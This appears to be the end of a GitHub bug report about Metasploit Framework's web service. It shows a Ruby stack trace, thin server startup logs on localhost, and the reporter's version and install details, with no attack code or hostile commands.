	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/null_logger.rb:11:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/head.rb:12:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:216:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1991:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1769:in `synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:86:in `block in pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:53:in `process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:39:in `receive_data'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run_machine'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/backends/base.rb:75:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/server.rb:162:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/controllers/controller.rb:87:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:203:in `run_command'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:159:in `run!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/bin/thin:6:in `<top (required)>'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `load'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `<main>'
2022-01-05 16:18:44 -0600 Writing PID to /home/tmoose/.msf4/msf-ws.pid
2022-01-05 16:18:48 -0600 Thin web server (v1.8.1 codename Infinite Smoothie)
2022-01-05 16:18:48 -0600 Maximum connections set to 1024
2022-01-05 16:18:48 -0600 Listening on localhost:5443, CTRL+C to stop
2022-03-02 14:26:39 -0600 Writing PID to /home/tmoose/.msf4/msf-ws.pid
2022-03-02 14:26:43 -0600 Thin web server (v1.8.1 codename Infinite Smoothie)
2022-03-02 14:26:43 -0600 Maximum connections set to 1024
2022-03-02 14:26:43 -0600 Listening on localhost:5443, CTRL+C to stop
2022-03-02 14:57:38 -0600 Exiting!
2022-03-02 14:57:50 -0600 Writing PID to /home/tmoose/.msf4/msf-ws.pid
2022-03-02 14:57:55 -0600 Thin web server (v1.8.1 codename Infinite Smoothie)
2022-03-02 14:57:55 -0600 Maximum connections set to 1024
2022-03-02 14:57:55 -0600 Listening on localhost:5443, CTRL+C to stop

Version/Install

The versions and install method of your Metasploit setup:

Collapse
Framework: 6.2.20-dev-7e2a397ef0
Ruby: ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux]
OpenSSL: OpenSSL 1.1.1f  31 Mar 2020
Install Root: /home/tmoose/rapid7/metasploit-framework
Session Type: postgresql selected, no connection
Install Method: Git Clone

bwatters-r7 avatar Sep 27 '22 14:09 bwatters-r7